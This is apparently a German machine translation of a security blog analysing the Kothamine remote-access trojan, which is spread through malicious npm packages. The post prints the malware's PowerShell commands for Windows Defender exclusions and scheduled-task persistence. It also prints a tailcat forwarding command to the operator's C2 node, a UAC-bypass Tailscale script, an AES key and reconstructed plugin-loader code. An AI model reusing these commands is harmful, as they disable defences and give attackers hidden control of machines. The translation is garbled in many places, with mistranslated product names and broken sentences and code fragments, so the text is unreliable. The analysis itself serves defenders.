Wir haben einen undokumentierten Remote-Access-Trojaner (RAT) namens Kothamine Agent entdeckt. Er unterstützt mehr als 30 Befehle und ermöglicht Angreifern die Kontrolle über einen infizierten Rechner. Windows Computer: Sie können Befehle ausführen, Dateien lesen und verändern sowie neue Funktionen hinzufügen. Einige Versionen können außerdem Browserdaten stehlen und über Kamera und Mikrofon aufzeichnen.
Wir haben festgestellt, dass Kothamine mit schädlichen npm-Paketen verknüpft ist, wodurch Benutzer und Entwickler, die diese Pakete installieren, gefährdet werden. In neueren Versionen verwendet die Malware tailcat , ein Open-Source-Tool von Tailscale, um Befehle über eine verschlüsselte Verbindung zu empfangen. Dies erschwert die Analyse der Kommunikation und bietet Verteidigern keine herkömmliche Command-and-Control-Domäne (C2), die blockiert werden könnte.
Basierend auf VirusTotal-Uploads und GitHub-Commits scheint Kothamine mindestens seit Juli in Entwicklung oder Verbreitung zu sein. Frühere Versionen verwendeten Tailscale. VPN anstelle von tailcat. Je nach Build enthält die Malware die Netzwerktools oder lädt sie von Quellen wie GitHub herunter.
Wie man sicher bleibt
Bevor Sie ein unbekanntes npm-Paket installieren, prüfen Sie dessen Repository, die Verantwortlichen, die Abhängigkeiten und die letzten Versionen. Suchen Sie nach Berichten über schädliche Aktivitäten und bevorzugen Sie Pakete mit einer etablierten Historie und regelmäßiger Wartung.
- Überprüfen Sie den Namen sorgfältig. Stellen Sie sicher, dass Sie kein gefälschtes Paket mit einem ähnlichen Namen herunterladen.
- Überprüfen Sie den Entwickler oder die Organisation und stellen Sie sicher, dass der Herausgeber seriös wirkt. Prüfen Sie beispielsweise, ob er eine Website oder ein GitHub-Repository besitzt.
- Lesen Sie Rezensionen, Problembeschreibungen und Berichte. Suchen Sie den Paketnamen bei Google und prüfen Sie, ob Berichte über potenziell entdeckte Schadsoftware vorliegen.
- Schauen Sie sich an, wie beliebt es ist. Ein Paket mit vielen Downloads und Nutzern lässt sich in der Regel leichter überprüfen als ein brandneues Paket ohne nennenswerte Historie.
Technische Analyse
Kothamine und die bösartigen npm-Pakete
Kothamine ist in C und C++ geschrieben. In den meisten der von uns analysierten Samples besteht es aus einem Injektor und einer DLL, die den Agenten enthält. Der Agent unterstützt über 30 Befehle, die es dem Benutzer ermöglichen, das infizierte System zu steuern und zusätzliche DLLs zu laden, um dessen Funktionen zu erweitern.

Kothamine Agent hat im Laufe der Zeit einige Veränderungen durchgemacht. Frühere Versionen, die wir auf VirusTotal gefunden haben, verwendeten Tailscale. VPN Anstelle von Tailcat wurden die Zeichenketten unverschlüsselt übertragen. Einige Funktionen, darunter die Umgehung der Benutzerkontensteuerung (UAC) und Stealer-Befehle, wurden nur in bestimmten Builds erkannt.
In einigen Versionen lud Kothamine die Tailscale-Dateien von der offiziellen Tailscale-Website oder einem GitHub-Repository herunter, anstatt sie in den Agenten einzubinden.
Das gleiche GitHub-Repository wird zitiert in eine Empfehlung über ein bösartiges npm-Paket namens dotnet-runtime-baseDas Paket herunterladen npm-sc-legit.exe aus diesem Repository. Zum Zeitpunkt der Erstellung dieses Dokuments wurden zwei weitere Pakete desselben Entwicklers entfernt.

Den Urhebern dieser Kampagnen ist ein Fehler unterlaufen, und sie haben Anleitungen zum Zusammenstellen veröffentlicht. kothamine-stub-cpp in einem der Pakete. Die Anleitung behandelt auch das Laden von .NET-Assemblys, was wir in den von uns analysierten Beispielen nicht beobachtet haben.

Die npm-sc-legit.exe Die ausführbare Datei ist eine kompilierte Version von Kothamine, die auch Befehle zum Datendiebstahl enthält. Wir haben kein Bedienfeld oder keinen Builder für Kothamine gefunden, aber die in verschiedenen Builds vorhandenen Funktionen deuten darauf hin, dass Benutzer bestimmte Funktionen und Befehle nach Bedarf aktivieren können.

Die folgende Analyse konzentriert sich auf eine kürzlich untersuchte Kothamine-Kampfstoffprobe, die Tailcat zur C2-Kommunikation nutzt.
Wirkungsweise des Kothamin-Wirkstoffs
In den analysierten Versionen injiziert eine intern als Kothamine Injector bezeichnete ausführbare Datei die Kothamine Agent DLL, typischerweise in explorer.exeWir verweisen auch auf frühere Versionen, um zu zeigen, wie sich der Agent verändert hat.
1. Kothamin-Injektor
Der Kothamine-Injektor führt folgende Operationen durch:
- Fügt hinzu Windows Defender-Ausschlüsse mit PowerShell
- Kopiert sich selbst an
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extrahiert die Agenten-DLL nach
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Erstellt
up.ps1in%TEMP%für die Persistenz - Injiziert die Agenten-DLL in
explorer.exeVerwendungOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThreadundLoadLibraryA

explorer.exe Die up.ps1 Das Skript erstellt eine geplante Aufgabe, um Persistenz mithilfe der Injector-Executable zu erreichen:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2. Kothamin-Wirkstoff
Agentenstart
Der Agent erstellt einen Mutex namens Local\KothamineAgentInstance und startet seinen Hauptthread.
Anschließend werden PowerShell-Befehle ausgeführt, um die ausführbare Datei und die DLL hinzuzufügen. Windows Ausschlussliste für Verteidiger:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
In älteren Versionen wurden Zeichenketten nicht verschlüsselt. Neuere Versionen entschlüsseln Zeichenketten entweder direkt im Text oder mithilfe von Funktionen, die XOR mit jeweils einem anderen Schlüssel verwenden.


C2-Kommunikation über Tailcat
Das Besondere an Kothamine ist nicht die technische Komplexität, die Funktionalität des Wirkstoffs oder die Verschleierung, sondern die Verwendung von Tailcat und Tailscale. VPN um auszuführende Befehle zu empfangen. Dies bietet dem Agenten einen ausfallsicheren, verschlüsselten Kommunikationskanal.
Tailcat ist ein kürzlich vom Tailscale-Team veröffentlichtes Open-Source-Projekt. Tailcat nutzt die Datenebene von Tailscale (WireGuard, NAT-Traversal und DERP), jedoch nicht die Steuerungsebene. Laut offizieller Dokumentation bedeutet dies, dass Tailcat keine IP-Adressen, Konten, Administratoren, Benutzer, administrative Kontrollen oder Governance-Funktionen besitzt. Diese Eigenschaften machen es daher zu einem attraktiven Werkzeug für Malware.
Im Gegensatz zu Schwanzschuppen VPN Tailcat benötigt weder ein Konto noch eine Geräteregistrierung. Die Entwickler haben es für kurzzeitige Verbindungen konzipiert.
Da keine Benutzerkonten existieren, basiert der Zugriff auf dem Besitz einer Tailcat-Adresse und der öffentlichen Schlüssel zur Identifizierung der verbundenen Geräte. Dies gewährleistet jedoch keine vollständige Anonymität: Gehostete Relays können Metadatenprotokolle speichern.
Die tc-address Die Option `forward` ermöglicht es dem Client, die für das korrekte Weiterleiten der Anfrage notwendigen Informationen zu erhalten. Darüber hinaus benötigt `tailcat` keine privilegierten Zugriffsrechte auf den Rechner, da es das CLI-Tool und Benutzerbibliotheken verwendet.
In neueren Versionen von Kothamine extrahiert der Agent Schwanzkatzen aus seinen Ressourcen und speichert sie als %ROAMING%\TailscalePortable\tailcat.exe.

Die Tailcat-Programmdatei wird mit folgendem gestartet: CreateProcessA Funktion und die folgenden Parameter (intern als bezeichnet) spawn_tailcat_forward Phase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Dieser Befehl macht die Ports des Tailcat-Servers als standardmäßige lokale TCP-Ports verfügbar (18080 in diesem Fall) und die Anfragen werden an den Port weitergeleitet 4444 Kothamine verwendet Socket-Funktionen, um eine Verbindung zum Knoten des Betreibers herzustellen. 127.0.0.1:18080, wo Tailcat lauscht.
Wenn die Agenten-ID-Zeichenfolge nicht leer ist, sendet der Agent eine verschlüsselte Profilanfrage, die die folgenden Informationen enthält (run_c2_loop Phase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
Anschließend gerät der Agent in eine Endlosschleife, um Befehle vom C2 zu empfangen und auszuführen (run_c2_loop Phase). Der Agent wartet auf neue Befehle, die er ausführen kann. select Die Socket-Funktion sendet regelmäßig KEEP-ALIVE-Nachrichten, wenn kein Befehl empfangen wird.
Die mit dem C2 ausgetauschten Nachrichten werden mit AES-GCM verschlüsselt und entschlüsselt (aes_encrypt Phase).
Der 32-Byte-AES-Schlüssel wird aus der Zeichenkette Base64-dekodiert (c2_key Phase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Unterstützte Befehle
In dieser Version unterstützt der Kothamine-Agent 30 Befehle. Bezug zu:
- Wechselwirkung mit Prozessen
- Interaktion mit Dateien und Verzeichnissen
- Shell-Befehle ausführen
- Erweiterung der Agentenfunktionen basierend auf empfangenen DLLs
| Befehlsname | Beschreibung |
sysinfo/systeminfo, curpid | Gibt Systeminformationen zurück, wie z. B. PID, aktuellen Pfad, Hostname und Betriebssystem (fest codiert). |
tasklist, kill | Gibt die mit „ tasklist /FO CSV /NH “ ermittelten Prozesse zurück. Beendet den durch die PID angegebenen Prozess mit „ taskkill /F /PID “. |
ping | Lebendigkeitsprüfung, „Pong“ kehrt zu C2 zurück. |
ipconfig | Führt den Befehl „ ipconfig /all “ aus und gibt das Ergebnis zurück. |
exec, shell_exec | Führt Shell-Befehle mit _popen() aus und sendet die Ausgabe zurück. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interagiert mit Dateien und Ordnern im System. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Liest, schreibt und löscht beliebige Dateien. |
load_feature | Schreibt und lädt eine empfangene Base64-kodierte DLL. Die DLL wird mit LoadLibraryA geladen, und die über GetProcAddress aufgelöste Methode „ GetFeatureApi “ wird ausgeführt. Die zur Ausführung der Funktion benötigten Funktionszeiger werden gespeichert. |
exec_feature, features, list_features, unload_feature | Es interagiert mit geladenen Features, um diese anzuzeigen, auszuführen oder zu entfernen. |
Da die übrigen Befehle für alle Agenten gelten, konzentriert sich die Analyse auf das „Plugin“-System, das es dem Bediener ermöglicht, DLLs zu empfangen und die Funktionalität des Agenten zu erweitern.
Plugin-System
Zum Laden einer neuen DLL verwendet der Bediener folgenden Befehl:
load_feature <name> <B64EncodedDLL>
Im Wesentlichen funktioniert der Prozess wie folgt. Der untenstehende Code und die Variablennamen wurden anhand von Nutzungs- und Ausgabeprotokollen rekonstruiert.
- Zunächst prüft der Agent, ob die Funktionalität bereits geladen wurde, und entlädt sie gegebenenfalls:
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Es versucht, die empfangene DLL an einem Speicherort zu erstellen, der über
GetTempPathoderSHGetFolderPathAoder im fest codierten PfadC:\Windows\TempEs schreibt die dekodierte DLL und lädt sie mitLoadLibraryA.
- Löst auf und führt die
GetFeatureApiMethode der geladenen DLL:
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
Wir haben keine DLL gefunden, die es uns ermöglichen würde, die von ihr zurückgegebene Struktur vollständig zu analysieren. GetFeatureApiDurch die Analyse des Codes und der Zeichenketten konnten wir jedoch folgende Felder identifizieren:
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
Die Zeiger auf die geladene DLL und die zurückgegebene Struktur werden im globalen Speicher abgelegt. Variable intern aufgerufen g_featuresunter Verwendung dieser Struktur:
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Führt die
initDie in der zurückgegebenen Struktur enthaltene Funktion wird an diese übergeben, wobei die für die C2-Kommunikation verwendete Funktion übergeben wird:
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Nachdem das Feature geladen wurde, kann der Bediener das geladene Feature mit folgendem Befehl ausführen:
exec_feature <functionName> [args]

exec FunktionVerschiedene Kothamine-Bausätze: Schwanzschuppen VPN UAC-Umgehungs- und Stealer-Befehle
Wie bereits erwähnt, haben wir Versionen von Kothamine mit unterschiedlichen Fähigkeiten entdeckt.
Frühere Versionen verwendeten die Tailscale-Technologie. VPN bevor Tailcat veröffentlicht wurde. Sie luden den Installer von der Tailscale-Website herunter und führten ihn aus. /quiet und /silent Sie verwendeten entweder Flags oder luden die benötigten Dateien direkt von GitHub herunter. Dazu gehörten tailscaled.exe, tailscale.exe, tailscale-ipn.exeund wintun.dll.

Einige Versionen umgehen die Benutzerkontensteuerung (UAC) mithilfe von fodhelper.exe zum Laufen elevated.ps1Im folgenden Beispiel startet das PowerShell-Skript einen Tailscale-Prozess. VPN Verbindung:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
Der Agent verbindet sich dann mit Port 4444 an einer Tailscale-Netzwerk-IP-Adresse (100.x.x.x) und beginnt, Befehle zu empfangen und auszuführen.

fodhelper.exeAbschließend sei noch erwähnt, dass verschiedene Versionen von Kothamine, wie bereits erwähnt, weitere Befehle unterstützen. Beispielsweise enthält die auf GitHub hochgeladene Version zusätzliche Befehle, darunter getdiscord, getsessions, screenshot, screenshareund cameraDiese ermöglichen es den Betreibern:
- Cookies von verschiedenen Browsern stehlen
- Stehlen Sie spielebezogene JSON-Dateien, darunter Dateien, die mit Steam und Minecraft in Verbindung stehen.
- Erstellen Sie Screenshots und nehmen Sie mit Kamera und Mikrofon auf.
- Zugriff auf den Inhalt der Zwischenablage
Indikatoren für Kompromittierung
SHA-256-Hashes
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0: Der Kothamine-Injektor wurde im Blog analysiert.74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cKothamin-Kampfstoff im Blog analysiert
URLs
https://github[.]com/cphc811-ui/Repository zum Herunterladen von ausführbaren Dateien und DLLs, die mit Tailscale verknüpft sind. VPN
Danksagungen
Mondoos Empfehlung zum analysierten npm-Paket .
Stöbern Sie, als würde niemand zusehen.
Malwarebytes Privacy VPN Ihre Verbindung und protokolliert niemals Ihre Aktivitäten, sodass Sie sich beim Lesen des nächsten Artikels nicht persönlich angesprochen fühlen müssen.Kostenlos testen →




